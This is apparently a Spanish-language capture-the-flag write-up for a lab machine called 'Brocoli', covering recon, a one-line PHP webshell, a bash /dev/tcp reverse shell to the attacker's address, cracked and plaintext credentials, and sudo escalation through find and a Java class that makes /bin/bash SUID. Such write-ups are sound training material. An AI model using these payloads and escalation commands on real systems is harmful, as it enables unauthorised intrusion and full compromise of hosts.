Brocoli
Webshell expuesta en /uploads/, credenciales en texto plano en /opt/ y escalada en cadena mediante find y java con clase maliciosa compilada.
Write-Up — Brocoli
Índice
- Reconocimiento
- Enumeración web
- Explotación
- Foothold
- Escalada de privilegios
- Flags
- Lecciones aprendidas
Reconocimiento
Escaneo inicial de puertos:
nmap -sS -p- --min-rate 5000 -n -Pn 192.168.56.105
Resultado: dos puertos abiertos.
| Puerto | Servicio |
|---|---|
| 22/tcp | SSH |
| 80/tcp | HTTP |
Escaneo de versiones:
nmap -sC -sV -p 22,80 -n -Pn 192.168.56.105
| Puerto | Servicio | Versión |
|---|---|---|
| 22/tcp | OpenSSH | 9.6p1 Ubuntu |
| 80/tcp | Apache httpd | 2.4.58 (Ubuntu) |
El servidor web muestra la página por defecto de Apache en la raíz — no hay aplicación visible directamente.
Enumeración web
Fuzzing de directorios con gobuster:
gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50
Resultados:
| Ruta | Status |
|---|---|
/uploads/ | 301 — directorio con listing activo |
/index.html | 200 — página por defecto Apache |
/server-status | 403 — acceso denegado |
Contenido de /uploads/:
brocoli.php — 31 bytes (webshell)
informebrocoli.txt — 33 bytes (hash MD5)
Lectura del archivo de texto:
curl http://192.168.56.105/uploads/informebrocoli.txt
# 913026c7754df0fbdc89b75007ad5a66
Hash MD5 crackeado con CrackStation: mecmec
El archivo brocoli.php (31 bytes) es una webshell clásica:
<?php system($_GET['cmd']); ?>
Verificación de RCE:
http://192.168.56.105/uploads/brocoli.php?cmd=id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explotación
Con la webshell confirmada, se establece una reverse shell.
Listener en Kali:
nc -lvnp 4444
Payload enviado vía webshell:
http://192.168.56.105/uploads/brocoli.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.56.102/4444+0>%261'
Shell obtenida como www-data.
Estabilización de la shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Foothold
Enumeración de usuarios con shell interactiva:
cat /etc/passwd | grep -v nologin | grep -v false
# root, brocolon (uid=1000), brocoli (uid=1001)
Búsqueda de archivos .txt legibles:
find / -readable -name "*.txt" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
Hallazgo crítico: /opt/credenciales.txt
[+] Usuario: brocoli
[+] Contraseña: megustalafruta
Acceso como brocoli:
su brocoli
# contraseña: megustalafruta
Escalada de privilegios
www-data → brocoli
Mediante credenciales encontradas en /opt/credenciales.txt.
brocoli → brocolon (sudo + find)
sudo -l
# (brocolon) NOPASSWD: /usr/bin/find
find permite ejecutar comandos arbitrarios con -exec. GTFOBins:
sudo -u brocolon /usr/bin/find . -exec /bin/bash \; -quit
# uid=1000(brocolon) — grupos incluyen lxd
brocolon → root (sudo + java)
sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/java
java puede ejecutar clases compiladas arbitrarias. Se compiló un exploit en Kali que hace /bin/bash SUID:
public class Exploit {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","chmod u+s /bin/bash"});
Thread.sleep(1000);
}
}
Compilado en Kali y transferido vía HTTP:
# En Kali
javac ~/exploit/Exploit.java
cd ~/exploit && python3 -m http.server 8080
# En víctima
wget http://192.168.56.102:8080/Exploit.class -O /tmp/Exploit.class
sudo /usr/bin/java -cp /tmp Exploit
sleep 2
/bin/bash -p
# euid=0(root)
Flags
| Flag | Valor |
|---|---|
| User | JDMTWEKPAMKAYALONFEUSXFKGYU |
| Root | KASDAYQPQDABDKOPGMBGNFJFURIDEMKJH |
Lecciones aprendidas
Decisiones clave:
- El directorio
/uploads/con listing activo fue el punto de entrada — reveló la webshell y el hash MD5 - Buscar archivos
.txtlegibles en todo el sistema permitió encontrar/opt/credenciales.txt - La cadena
sudo find → sudo javaes una escalada en dos pasos poco común
Alternativas descartadas:
- Ataque LXD (grupo lxd en brocolon): LXD snap no estaba funcional en la máquina
- SSH con credenciales directas:
brocoli:mecmecno funcionó — el hash del txt no era la contraseña SSH
Conceptos aprendidos:
- Webshells de 31 bytes — reconocer el tamaño como indicador del tipo de payload
- GTFOBins con
find:sudo -u usuario find . -exec /bin/bash \; -quit - GTFOBins con
java: compilar una clase maliciosa y ejecutarla con sudo para hacer bash SUID - Cuando
javacno está en el objetivo, compilar en Kali y transferir el.class
Tips y notas personales:
- Siempre buscar
/opt/y directorios no estándar para archivos de credenciales - El grupo
lxdes un vector potente pero requiere que LXD esté configurado - Para evitar problemas con heredocs en terminales inestables, usar
printfoecholínea a línea wget -O <ruta>a veces no funciona como esperado — verificar siempre conlsdespués
Status: Root